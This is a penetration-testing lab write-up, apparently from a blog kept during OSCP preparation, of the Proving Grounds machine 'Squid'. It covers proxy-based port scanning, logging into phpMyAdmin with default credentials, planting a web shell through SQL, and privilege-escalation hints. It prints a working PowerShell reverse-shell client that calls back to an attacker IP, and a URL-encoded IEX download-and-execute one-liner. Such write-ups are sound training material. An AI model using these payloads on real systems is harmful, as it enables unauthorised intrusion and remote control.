Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • 🧵Let's Unpack
  • Enumeration
  • Accessing the site on port 8080
  • Getting a reverse shell
  • Privilege Escalation:

Was this helpful?

  1. OSCP Machine Writeups
  2. PG - Practice

Squid

Privilege Escalation via Scheduled Task Privilege Recovery + SeImpersonatePrivilege Abuse (PrintSpoofer)

Summary

  • Target exposed a Squid proxy on port 3128.

  • Proxy was misconfigured, allowing scanning of internal services using spose.py.

  • Discovered phpMyAdmin running on port 8080.

  • Logged in using default MySQL credentials (root / blank password).

  • Used SQL injection to upload a PHP web shell.

  • From the shell, executed a PowerShell reverse shell payload hosted on my machine.

  • Successfully gained initial low-privilege shell access on the target system.

🧵Let's Unpack

Enumeration

# NMAP
nmap -p- -T5  192.168.166.189 -vv

cat ports | awk '{split($0,a,"/"); print a[1] ","}'| tr -d "\\n"| awk 'BEGIN {FS=OFS=","} NF--'
>
135,139,445,3128,49666,49667

# step 2 - Dive deeper into the ports found in step 1
sudo nmap -sC -sN -A -oN nmapFull -p 135,139,445,3128,49666,49667 -A 192.168.166.189
 
 
 

Squid Proxy exploit

curl --proxy <http://192.168.166.189:3128> <http://192.168.166.189>

# using proxychain to configure a proxy via 3128 and run nmao
http local 3128

# using spose tool to scan the host behind proxy
python spose.py --proxy <http://192.168.166.189:3128> --target 192.168.166.189
>

Using proxy address <http://192.168.166.189:3128>

192.168.166.189 3306 seems OPEN 
192.168.166.189 8080 seems OPEN 

# 

Accessing the site on port 8080

  • added the proxy in firefox and directly opened 192.168.166.189:8080 on browser

  • found phpMyAdmin page

    • Tried the default credentials of mysql root as username and left the password blank

  • Found a blog to inject a webshell using SQL Query - this way you will get Admin user access

  • Got the webshell embedded!

  • Now used the below mentioned technique to spawn up reverse shell and catch it using nc

Getting a reverse shell

  1. host the exploit.ps1 on your server

# ps1 reverse shell code
$client = New-Object System.Net.Sockets.TCPClient("192.168.45.225",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# spawning server
python3 -m http.server 8080
  1. Executing the following command in our webshell

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('<http://192.168.45.225:8000/reverse.ps1>')"

# URL encode the above command to send it through thr webshell
powershell%20-c%20%22IEX%28New-Object%20System.Net.WebClient%29.DownloadString%28%27http%3A%2F%2F192.168.45.225%3A8000%2Freverse.ps1%27%29%22

# In parallel, run netcat to catch the reverse shell
nc -nlvp 4444

Privilege Escalation:

I was not able to escalate the privielge to root, took help from PG official walkthrough

Here is the hint

  • You're running as LOCAL SERVICE, but some default privileges are missing.

  • Look into how Scheduled Tasks can be used to regain full privileges for service accounts.

  • If you manage to enable SeImpersonatePrivilege, you might want to explore PrintSpoofer 😉

PreviousHelpDeskNextHepet

Last updated 1 month ago

Was this helpful?

Ref:

This might come handy ->

🔥
https://www.hackingarticles.in/shell-uploading-web-server-phpmyadmin/
https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
https://github.com/itm4n/FullPowers